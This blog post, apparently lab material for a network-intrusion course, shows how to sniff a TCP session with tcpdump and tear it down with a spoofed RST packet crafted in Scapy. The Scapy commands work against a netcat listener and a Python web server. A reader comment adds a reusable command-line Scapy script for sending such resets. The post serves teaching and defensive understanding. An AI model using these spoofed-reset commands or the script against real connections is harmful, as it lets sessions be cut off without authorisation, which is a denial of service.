Friday, September 1, 2023

Packet Crafting - Tearing down a connection with TCP Reset

In a previous post, I crafted a TCP 3-way handshake, to setup a connection with a remote device. In this post, we are going to sniff traffic between two devices and send a RST packet to tear down the connection. Think about what your IPS does as you go through this post.

First up, the manual process. Let's say a server (in this case netcat) is listening on port 9999 as shown here.

1
2
sans@sec503:~$ nc -l -p 9999 -n -v -4
Listening on 0.0.0.0 9999

and here ....

1
2
sans@sec503:~/nik$ ss --numeric --listening --tcp | grep 9999
LISTEN 0      1            0.0.0.0:9999      0.0.0.0:*

To be able to send a RST, we have to be able to see the traffic. Let's go ahead and setup tcpdump on our attacking machine to capture the traffic.

1
2
┌──(securitynik㉿hack-detect)-[~]
└─$ sudo tcpdump -nnti eth0 port 9999 -v -S 2>/dev/null

With tcpdump running, whenever a client connects such as from the server side:

1
2
3
sans@sec503:~$ nc -l -p 9999 -n -v -4
Listening on 0.0.0.0 9999
Connection received on 192.168.240.1 55768

This session establishment can be confirmed by looking at the socket statistics via ss.

1
2
sans@sec503:~/nik$ ss --numeric --tcp | grep 9999
ESTAB 0      0      192.168.240.128:9999 192.168.240.1:55768

With this in place, we see from tcpdump perspective .....

1
2
3
4
5
6
IP (tos 0x0, ttl 64, id 38378, offset 0, flags [DF], proto TCP (6), length 60)
    172.17.113.108.38364 > 192.168.240.128.9999: Flags [S], cksum 0xced5 (incorrect -> 0xd2e3), seq 2755343805, win 64240, options [mss 1460,sackOK,TS val 1927258560 ecr 0,nop,wscale 7], length 0
IP (tos 0x0, ttl 63, id 0, offset 0, flags [DF], proto TCP (6), length 60)
    192.168.240.128.9999 > 172.17.113.108.38364: Flags [S.], cksum 0x3978 (correct), seq 1881702073, ack 2755343806, win 65160, options [mss 1460,sackOK,TS val 4253133150 ecr 1927258560,nop,wscale 7], length 0
IP (tos 0x0, ttl 64, id 38379, offset 0, flags [DF], proto TCP (6), length 52)
    172.17.113.108.38364 > 192.168.240.128.9999: Flags [.], cksum 0xcecd (incorrect -> 0x64d6), ack 1881702074, win 502, options [nop,nop,TS val 1927258561 ecr 4253133150], length 0

While this communication remains idle, we are going to attempt to pretend to be the client, sending a message (RST packet) to the server to take down the connection. What we need from client perspective above, is it's source IP, source port and most importantly, the correct sequence number to send to the device on the other end. Fortunately for us, this information was captured by tcpdump

From above, when the server sent its SYN/ACK to the client, the acknowledgement number it specified is "2755343806". This represents the next expected sequence number from the client. With this in mind, let's craft a packet with Scapy to send this RST packet to the server.

Using Scapy to craft and send packet.

1
2
3
4
5
6
7
8
9
┌──(securitynik㉿hack-detect)-[~]
└─$ sudo scapy -H
[sudo] password for securitynik:
Welcome to Scapy (2.5.0) using IPython 8.5.0

>>> send(IP(src='172.17.113.108', dst='192.168.240.128')/TCP(sport=38364, dport=9999, flags='R', seq=2755343806)/"Boo I
...: Reset You!", count=1)
.
Sent 1 packets.

Looking from our tcpdump perspective we see on the wire.

1
2
IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 56)
    172.17.113.108.38364 > 192.168.240.128.9999: Flags [R], cksum 0x2718 (correct), seq 2755343806:2755343822, win 8192, length 16 [RST Boo I Reset You!]

Looking at the server side of the nectat session we see it died as ss returns nothing for any of the two commands we previously run.

1
2
3
sans@sec503:~/nik$ ss --numeric --listening --tcp | grep 9999

sans@sec503:~/nik$ ss --numeric --tcp | grep 9999

Interestingly, the ncat client did not die immediately. 

1
2
3
4
┌──(securitynik㉿hack-detect)-[~]
└─$ ncat --verbose 192.168.240.128 9999
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.240.128:9999.

However, if you do try to use it to send some data to the server or even simply press ENTER, it will die with the following message:

1
Ncat: Connection reset by peer.

Let's give it another shot. This time, let's try to reset the connection between netcat and Python http.server running on port 8080. We will follow the same concepts as above.

Start up the web server

1
2
sans@sec503:~$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
 
Validate the session is listening.

1
2
sans@sec503:~/nik$ ss --numeric --listening --tcp | grep 8080
LISTEN 0      5            0.0.0.0:8080      0.0.0.0:*

As before, we need to be sniffing the traffic. Let's setup our tcpdump.

1
2
┌──(securitynik㉿hack-detect)-[~]
└─$ sudo tcpdump -nnti eth0 port 8080 -v -S 2>/dev/null

Connect with ncat to the web server

1
2
3
4
┌──(securitynik㉿hack-detect)-[~]
└─$ ncat --verbose 192.168.240.128 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.240.128:8080.

Validate on the server that the connection is established.

1
2
sans@sec503:~/nik$ ss --numeric --tcp | grep 8080
ESTAB 0      0      192.168.240.128:8080 192.168.240.1:55842

Using the knowledge we acquired earlier, let's send a reset to the web server, pretending to be the client.

Once again, scapy to the rescue. Using the ACK number from the SYN/ACK packet we craft and send RST packet.

1
2
3
4
5
>>> send(IP(src='172.17.113.108', dst='192.168.240.128')/TCP(sport=53578, dport=8080, flags='R', seq=3771376712)/"Boo I
...: Reset You!", count=1)
.
Sent 1 packets.
>>>

Looking at our tcpdump output, we see, 

1
172.17.113.108.53578 > 192.168.240.128.8080: Flags [R], cksum 0x480f (correct), seq 3771376712:3771376728, win 8192, length 16 [RST Boo I Reset You!]

Did this work though? Let's look at the web server standard error messages.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
----------------------------------------
Exception occurred during processing of request from ('192.168.240.1', 55842)
Traceback (most recent call last):
  File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread
    self.finish_request(request, client_address)
  File "/usr/lib/python3.10/http/server.py", line 1287, in finish_request
    self.RequestHandlerClass(request, client_address, self,
  File "/usr/lib/python3.10/http/server.py", line 651, in __init__
    super().__init__(*args, **kwargs)
  File "/usr/lib/python3.10/socketserver.py", line 747, in __init__
    self.handle()
  File "/usr/lib/python3.10/http/server.py", line 425, in handle
    self.handle_one_request()
  File "/usr/lib/python3.10/http/server.py", line 393, in handle_one_request
    self.raw_requestline = self.rfile.readline(65537)
  File "/usr/lib/python3.10/socket.py", line 705, in readinto
    return self._sock.recv_into(b)
ConnectionResetError: [Errno 104] Connection reset by peer
----------------------------------------

Confirming via the ss command, the sessionis no longer established as nothing was returned.

1
sans@sec503:~/nik$ ss --numeric --tcp | grep 8080

Once again, the ncat hung.

4 comments:

  1. Hello Sir,

    This article was really insightful on how TCP Flags can be misused to create

    ReplyDelete
  2. **Create denial of service. Based on your post, I was able create a very basic python script that uses scapy to perform a connection reset.

    import sys
    from scapy.all import *

    def send_tcp_reset(sip, dip, sport, dport, seq):
    # Create an IP packet
    ip_packet = IP(src=sip, dst=dip)

    # Create a TCP packet with the RST flag set
    tcp_packet = TCP(sport=sport, dport=dport, flags='R', seq=seq)

    # Craft and send the RST packet
    rst_packet = ip_packet / tcp_packet / "Booooo"
    send(rst_packet, verbose=0)

    def main():
    if len(sys.argv) != 6:
    print("Follow the syntax: python3 reset_connection.py ")
    sys.exit(1)

    sip = sys.argv[1]
    dip = sys.argv[2]
    src_port = int(sys.argv[3])
    dst_port = int(sys.argv[4])
    seq_number = int(sys.argv[5])

    # Send the TCP reset packet
    send_tcp_reset(sip, dip, src_port, dst_port, seq_number)

    if __name__ == "__main__":
    main()

    ReplyDelete